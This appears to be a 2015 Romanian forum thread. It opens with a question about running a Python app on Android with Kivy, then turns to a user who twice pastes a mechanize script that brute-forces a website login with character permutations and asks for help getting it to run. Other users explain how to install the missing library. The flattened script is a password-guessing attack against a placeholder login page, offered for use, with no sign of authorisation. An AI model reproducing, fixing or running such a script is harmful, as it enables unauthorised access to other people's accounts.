xyz123 Posted November 24, 2015 Report Share Posted November 24, 2015 Va salut. Am facut o aplicatie in Python iar profesorul ne-a spus ca vrea ca aplicatia sa ruleze pe Android.Care ar fi cea mai buna posibilitate? Ce parere aveti de Kivy? Quote Link to comment Share on other sites More sharing options...
Active Members MrGrj Posted November 24, 2015 Active Members Report Share Posted November 24, 2015 E ok kivy. Usor de configurat si tutoriale o ton?.Spor Quote Link to comment Share on other sites More sharing options...
zeroabsolut Posted November 24, 2015 Report Share Posted November 24, 2015 Am si eu o eroare in acest script cand il rulez, poti sa ma ajuti sa mearga?Traceback (most recent call last): File "C:\Users\hg\Desktop\h.py", line 2, in <module> import mechanizeImportError: No module named mechanize>>> Si acesta este codul#!/usr/bin/pythonimport mechanize import itertoolsbr = mechanize.Browser()br.set_handle_equiv(True)br.set_handle_redirect(True)br.set_handle_referer(True)br.set_handle_robots(False)combos=itertools.permutations("i34U^hP-",8) r =br.open("https://www.example.com/login/")for x in combos: new_form = ''' <form method="post" action="index.php"> <b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8"> <b>Enter the password:</b><input type="password" name="pwd" size="16"> <input type="submit" name="submit" value="Submit"> </form> ''' #all you have to take care is they have the same name for input fields and submit button r.set_data(new_form) br.set_response(r) br.select_form( nr = 0 ) br.form['userName'] = "user name" br.form['password'] = ''.join(x) print "Checking ",br.form['password'] response=br.submit() if response.geturl()=="http://www.example.com/redirected_to_url": #url to which the page is redirected after login print "Correct password is ",''.join(x) break Quote Link to comment Share on other sites More sharing options...
zeroabsolut Posted November 24, 2015 Report Share Posted November 24, 2015 Am si eu o eroare in acest script @MrGrj cand il rulez, poti sa ma ajuti sa mearga?Multumesc!Traceback (most recent call last): File "C:\Users\hg\Desktop\h.py", line 2, in <module> import mechanizeImportError: No module named mechanize>>> Si acesta este codul#!/usr/bin/pythonimport mechanize import itertoolsbr = mechanize.Browser()br.set_handle_equiv(True)br.set_handle_redirect(True)br.set_handle_referer(True)br.set_handle_robots(False)combos=itertools.permutations("i34U^hP-",8) r =br.open("https://www.example.com/login/")for x in combos: new_form = ''' <form method="post" action="index.php"> <b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8"> <b>Enter the password:</b><input type="password" name="pwd" size="16"> <input type="submit" name="submit" value="Submit"> </form> ''' #all you have to take care is they have the same name for input fields and submit button r.set_data(new_form) br.set_response(r) br.select_form( nr = 0 ) br.form['userName'] = "user name" br.form['password'] = ''.join(x) print "Checking ",br.form['password'] response=br.submit() if response.geturl()=="http://www.example.com/redirected_to_url": #url to which the page is redirected after login print "Correct password is ",''.join(x) break Quote Link to comment Share on other sites More sharing options...
Massaro Posted November 24, 2015 Report Share Posted November 24, 2015 @zeroabsolutpip install mechanizeScuze ca ma bag... Quote Link to comment Share on other sites More sharing options...
zeroabsolut Posted November 24, 2015 Report Share Posted November 24, 2015 @zeroabsolutpip install mechanizeScuze ca ma bag...In locul cui sa pun pip install mechanize Quote Link to comment Share on other sites More sharing options...
Massaro Posted November 24, 2015 Report Share Posted November 24, 2015 In locul cui sa pun pip install mechanizeAm vazut dupa ca esti pe Windows. Instaleaza pip folosind tutorialul de aici si dupa scrie pip install mechanize in cmd. Vezi sa fie in $PATH. Quote Link to comment Share on other sites More sharing options...
zeroabsolut Posted November 24, 2015 Report Share Posted November 24, 2015 Am vazut dupa ca esti pe Windows. Instaleaza pip folosind tutorialul de aici si dupa scrie pip install mechanize in cmd. Vezi sa fie in $PATH.Tot nu am reusit, poti sa imi dai add pe skype zero absolut rs Quote Link to comment Share on other sites More sharing options...